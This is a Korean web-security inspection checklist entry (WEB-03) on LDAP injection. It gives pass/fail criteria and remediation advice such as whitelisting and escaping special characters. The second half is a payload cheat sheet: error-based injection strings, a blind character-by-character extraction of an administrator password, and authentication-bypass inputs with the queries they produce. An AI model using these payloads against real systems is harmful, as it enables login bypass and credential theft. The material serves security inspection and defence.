주요정보통신기반시설 WEB-03 LDAP 인젝션

WEB-03 LDAP 인젝션

사용자 입력을 기반으로 LDAP 구문을 구축하여 웹 기반 응용프로그램을 악용하는데 사용되는 공격

 

점검 및 판단 기준

- 양호 : 임의의 LDAP 쿼리 입력에 대한 검증이 이루어져 변조된 쿼리가 실행되지 않는 경우

- 취약 : 임의의 LDAP 쿼리 입력에 대한 검증이 이루어지지 않아 변조된 쿼리가 실행되는 경우

 

조치 방법

- 지정된 문자열만 입력 허용하고, 임의의 LDAP쿼리 입력에 대한 검증 로직 구현

 

점검 방법

- 웹 사이트의 사용자 인수 값을 입력 받는 애플리케이션( 로그인 폼 , URL 등 )에 변조 된 LDAP 쿼리 전송 후 실행되는지 확인

 

보안 설정 방법

- 사용자 입력 받을 White List로 지정하여 영문과 숫자만을 허용

- DN과 필터에 사용되는 사용자 입력 값에는 특수문자가 포함되지 않도록 특수문자 제거

- 특수문자를 사용해야 하는 경우 특수문자에 대해서는 실행 명령이 아닌 일반 문자로 인식 되도록 처리

 

Error base

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Blind

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK

 

Exploitation

user  = *)(uid=*))(|(uid=*
pass  = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"

user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

 

Attribute List

userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName